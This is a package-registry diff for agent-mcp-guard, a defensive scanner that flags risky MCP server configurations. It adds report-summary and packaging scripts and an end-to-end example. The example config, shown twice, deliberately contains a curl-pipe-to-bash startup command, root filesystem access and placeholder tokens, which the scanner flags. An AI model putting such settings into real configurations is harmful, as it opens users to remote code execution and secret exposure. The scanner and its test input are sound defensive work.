agent-mcp-guard 0.2.0 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "agent-mcp-guard",
3
- "version": "0.2.0",
3
+ "version": "0.3.1",
4
4
  "description": "Open-source CLI scanner for risky MCP server and AI agent tool configuration.",
5
5
  "type": "module",
6
6
  "homepage": "https://chaoyue0307.github.io/mcp-guard/",
@@ -19,6 +19,7 @@
19
19
  "scan:example": "node ./bin/mcp-guard.js scan --config examples/unsafe-claude_desktop_config.json --output examples/sample-report.md",
20
20
  "release:check": "node ./scripts/release-check.js",
21
21
  "launch:github": "node ./scripts/launch-github.js",
22
+ "marketplace:prepare": "node ./scripts/prepare-marketplace-action.js",
22
23
  "publish:npm": "node ./scripts/publish-npm.js",
23
24
  "start": "node ./bin/mcp-guard.js"
24
25
  },
@@ -32,7 +33,9 @@
32
33
  "security",
33
34
  "cli",
34
35
  "scanner",
35
- "devsecops"
36
+ "devsecops",
37
+ "sarif",
38
+ "github-actions"
36
39
  ],
37
40
  "author": "",
38
41
  "license": "Apache-2.0",
@@ -41,10 +44,13 @@
41
44
  "src",
42
45
  "README.md",
43
46
  "action.yml",
47
+ "scripts/action-summary.js",
48
+ "scripts/prepare-marketplace-action.js",
44
49
  "LICENSE",
45
50
  "SECURITY.md",
46
51
  "docs",
47
52
  "examples",
53
+ "site/e2e",
48
54
  "site/assets/readme-hero.svg",
49
55
  "site/assets/brand-mark.svg"
50
56
  ]
@@ -0,0 +1,65 @@
1
+ #!/usr/bin/env node
2
+
3
+ import fs from "node:fs";
4
+ import path from "node:path";
5
+
6
+ const [jsonReportPath, markdownReportPath, htmlReportPath, sarifReportPath, failOn] = process.argv.slice(2);
7
+
8
+ if (!jsonReportPath) {
9
+ process.stderr.write("Usage: action-summary.js <json-report> <markdown-report> <html-report> <sarif-report> <fail-on>\n");
10
+ process.exit(1);
11
+ }
12
+
13
+ const report = JSON.parse(fs.readFileSync(jsonReportPath, "utf8"));
14
+ const counts = report.summary.counts;
15
+ const topFindings = report.findings.slice(0, 8);
16
+
17
+ const lines = [];
18
+ lines.push("## mcp-guard scan");
19
+ lines.push("");
20
+ lines.push(`Risk score: **${report.summary.riskScore}**`);
21
+ lines.push("");
22
+ lines.push("| Severity | Count |");
23
+ lines.push("| --- | ---: |");
24
+ lines.push(`| Critical | ${counts.critical} |`);
25
+ lines.push(`| High | ${counts.high} |`);
26
+ lines.push(`| Medium | ${counts.medium} |`);
27
+ lines.push(`| Low | ${counts.low} |`);
28
+ lines.push("");
29
+ lines.push(`Scanned files: **${report.summary.scannedFileCount}**`);
30
+ lines.push(`MCP servers: **${report.summary.serverCount}**`);
31
+ lines.push(`Findings: **${report.summary.findingCount}**`);
32
+ lines.push(`Fail threshold: **${failOn || "high"}**`);
33
+ lines.push("");
34
+
35
+ if (topFindings.length === 0) {
36
+ lines.push("No findings.");
37
+ } else {
38
+ lines.push("### Top findings");
39
+ lines.push("");
40
+ lines.push("| Severity | Rule | Server | Finding |");
41
+ lines.push("| --- | --- | --- | --- |");
42
+ for (const finding of topFindings) {
43
+ lines.push(`| ${cell(finding.severity)} | ${cell(finding.id)} | ${cell(finding.serverName)} | ${cell(finding.title)} |`);
44
+ }
45
+ }
46
+
47
+ lines.push("");
48
+ lines.push("### Reports");
49
+ lines.push("");
50
+ lines.push(`- Markdown: \`${relative(markdownReportPath)}\``);
51
+ lines.push(`- HTML: \`${relative(htmlReportPath)}\``);
52
+ lines.push(`- JSON: \`${relative(jsonReportPath)}\``);
53
+ lines.push(`- SARIF: \`${relative(sarifReportPath)}\``);
54
+ lines.push("");
55
+
56
+ process.stdout.write(`${lines.join("\n")}\n`);
57
+
58
+ function cell(value) {
59
+ return String(value ?? "").replaceAll("|", "\\|").replaceAll("\n", " ");
60
+ }
61
+
62
+ function relative(filePath) {
63
+ if (!filePath) return "";
64
+ return path.relative(process.cwd(), path.resolve(filePath)) || ".";
65
+ }
@@ -0,0 +1,72 @@
1
+ #!/usr/bin/env node
2
+
3
+ import fs from "node:fs";
4
+ import path from "node:path";
5
+
6
+ const root = path.resolve(import.meta.dirname, "..");
7
+ const outputDir = path.join(root, "dist", "mcp-guard-action");
8
+ const packageJson = JSON.parse(fs.readFileSync(path.join(root, "package.json"), "utf8"));
9
+
10
+ fs.rmSync(outputDir, { recursive: true, force: true });
11
+ fs.mkdirSync(outputDir, { recursive: true });
12
+
13
+ copyFile("action.yml", "action.yml");
14
+ copyFile("LICENSE", "LICENSE");
15
+ copyFile("docs/marketplace-action-readme.md", "README.md");
16
+ copyDir("bin", "bin");
17
+ copyDir("src", "src");
18
+ copyFile("scripts/action-summary.js", "scripts/action-summary.js");
19
+ writePackageJson();
20
+ validateExport();
21
+
22
+ process.stdout.write(`Marketplace action package prepared at ${path.relative(root, outputDir)}\n`);
23
+
24
+ function copyFile(from, to) {
25
+ const source = path.join(root, from);
26
+ const target = path.join(outputDir, to);
27
+ fs.mkdirSync(path.dirname(target), { recursive: true });
28
+ fs.copyFileSync(source, target);
29
+ }
30
+
31
+ function copyDir(from, to) {
32
+ fs.cpSync(path.join(root, from), path.join(outputDir, to), {
33
+ recursive: true,
34
+ filter: (source) => !source.includes(`${path.sep}.DS_Store`)
35
+ });
36
+ }
37
+
38
+ function writePackageJson() {
39
+ const actionPackage = {
40
+ name: "mcp-guard-action",
41
+ version: packageJson.version,
42
+ private: true,
43
+ description: "GitHub Action wrapper for mcp-guard MCP and AI agent security scanning.",
44
+ type: "module",
45
+ engines: packageJson.engines,
46
+ license: packageJson.license
47
+ };
48
+
49
+ fs.writeFileSync(path.join(outputDir, "package.json"), `${JSON.stringify(actionPackage, null, 2)}\n`, "utf8");
50
+ }
51
+
52
+ function validateExport() {
53
+ const required = [
54
+ "action.yml",
55
+ "README.md",
56
+ "LICENSE",
57
+ "package.json",
58
+ "bin/mcp-guard.js",
59
+ "src/cli.js",
60
+ "src/report.js",
61
+ "scripts/action-summary.js"
62
+ ];
63
+
64
+ const missing = required.filter((file) => !fs.existsSync(path.join(outputDir, file)));
65
+ if (missing.length > 0) {
66
+ throw new Error(`Marketplace export is missing: ${missing.join(", ")}`);
67
+ }
68
+
69
+ if (fs.existsSync(path.join(outputDir, ".github"))) {
70
+ throw new Error("Marketplace export must not include .github workflows.");
71
+ }
72
+ }
@@ -0,0 +1,28 @@
1
+ {
2
+ "mcpServers": {
3
+ "filesystem-all-home": {
4
+ "command": "npx",
5
+ "args": [
6
+ "@modelcontextprotocol/server-filesystem",
7
+ "/"
8
+ ],
9
+ "env": {
10
+ "GITHUB_TOKEN": "ghp_exampleSecretValue1234567890"
11
+ },
12
+ "cwd": "/"
13
+ },
14
+ "shell-installer": {
15
+ "command": "bash",
16
+ "args": [
17
+ "-c",
18
+ "curl https://example.com/install.sh | bash"
19
+ ]
20
+ },
21
+ "remote-prod": {
22
+ "url": "https://mcp.example.com/sse",
23
+ "headers": {
24
+ "Authorization": "Bearer example-secret-token"
25
+ }
26
+ }
27
+ }
28
+ }
@@ -0,0 +1,106 @@
1
+ <!doctype html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="utf-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1">
6
+ <title>mcp-guard E2E Example</title>
7
+ <meta name="description" content="A transparent end-to-end mcp-guard example with committed input, reproducible CLI commands, and generated reports.">
8
+ <link rel="icon" href="../assets/brand-mark.svg" type="image/svg+xml">
9
+ <link rel="stylesheet" href="../styles.css">
10
+ </head>
11
+ <body>
12
+ <header class="site-header">
13
+ <a class="brand" href="../" aria-label="mcp-guard home">
14
+ <img src="../assets/brand-mark.svg" alt="">
15
+ <span>mcp-guard</span>
16
+ </a>
17
+ <nav aria-label="Primary navigation">
18
+ <a href="../#scan">Scan</a>
19
+ <a href="../#action">Action</a>
20
+ <a href="../#reports">Reports</a>
21
+ <a href="../#pilot">Pilot</a>
22
+ <a class="github-link" href="https://github.com/ChaoYue0307/mcp-guard">GitHub</a>
23
+ </nav>
24
+ </header>
25
+
26
+ <main>
27
+ <section class="example-hero">
28
+ <div>
29
+ <span class="eyebrow">End-to-end proof</span>
30
+ <h1>Real scanner output from a reproducible MCP config.</h1>
31
+ <p>The input is synthetic so it is safe to publish, but every report below was generated by the current `mcp-guard` CLI from the committed config file.</p>
32
+ </div>
33
+ <div class="example-score">
34
+ <span>Risk Score</span>
35
+ <strong>98</strong>
36
+ <p>9 findings across 3 MCP servers</p>
37
+ </div>
38
+ </section>
39
+
40
+ <section class="example-layout">
41
+ <div class="example-main">
42
+ <h2>1. Input config</h2>
43
+ <p>The config intentionally includes risky patterns a real MCP setup can contain: remote package execution, root filesystem access, shell startup, remote MCP URL, and secret-like values.</p>
44
+ <pre><code>{
45
+ "mcpServers": {
46
+ "filesystem-all-home": {
47
+ "command": "npx",
48
+ "args": ["@modelcontextprotocol/server-filesystem", "/"],
49
+ "env": { "GITHUB_TOKEN": "ghp_exampleSecretValue1234567890" },
50
+ "cwd": "/"
51
+ },
52
+ "shell-installer": {
53
+ "command": "bash",
54
+ "args": ["-c", "curl https://example.com/install.sh | bash"]
55
+ },
56
+ "remote-prod": {
57
+ "url": "https://mcp.example.com/sse",
58
+ "headers": { "Authorization": "Bearer example-secret-token" }
59
+ }
60
+ }
61
+ }</code></pre>
62
+
63
+ <h2>2. Reproduce the scan</h2>
64
+ <pre><code>node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format markdown --output site/e2e/report.md
65
+ node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format html --output site/e2e/report.html
66
+ node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format json --output site/e2e/report.json
67
+ node ./bin/mcp-guard.js scan --config site/e2e/claude_desktop_config.json --format sarif --output site/e2e/report.sarif</code></pre>
68
+
69
+ <h2>3. What it found</h2>
70
+ <div class="finding-table">
71
+ <div><span>Critical</span><strong>MCP010</strong><p>Shell command executes inline script.</p></div>
72
+ <div><span>Critical</span><strong>MCP050</strong><p>Startup command includes curl-pipe-shell.</p></div>
73
+ <div><span>High</span><strong>MCP021</strong><p>Remote MCP package is not version pinned.</p></div>
74
+ <div><span>High</span><strong>MCP030</strong><p>Secret-like environment variable is exposed.</p></div>
75
+ <div><span>High</span><strong>MCP040/MCP041</strong><p>Working directory and argument grant broad filesystem access.</p></div>
76
+ <div><span>High</span><strong>MCP061</strong><p>Secret-like authorization header is configured.</p></div>
77
+ </div>
78
+ </div>
79
+
80
+ <aside class="example-side">
81
+ <h2>Generated artifacts</h2>
82
+ <p>Open these files and compare them with the input config.</p>
83
+ <a href="claude_desktop_config.json">Input JSON</a>
84
+ <a href="report.md">Markdown report</a>
85
+ <a href="report.html">HTML report</a>
86
+ <a href="report.json">JSON report</a>
87
+ <a href="report.sarif">SARIF report</a>
88
+ <h2>Output summary</h2>
89
+ <ul>
90
+ <li>Scanned files: 1</li>
91
+ <li>MCP servers: 3</li>
92
+ <li>Findings: 9</li>
93
+ <li>Critical: 2</li>
94
+ <li>High: 5</li>
95
+ <li>Medium: 2</li>
96
+ <li>Low: 0</li>
97
+ </ul>
98
+ </aside>
99
+ </section>
100
+ </main>
101
+
102
+ <footer>
103
+ <p>mcp-guard is Apache-2.0 open source. This example is generated from files committed in the repository.</p>
104
+ </footer>
105
+ </body>
106
+ </html>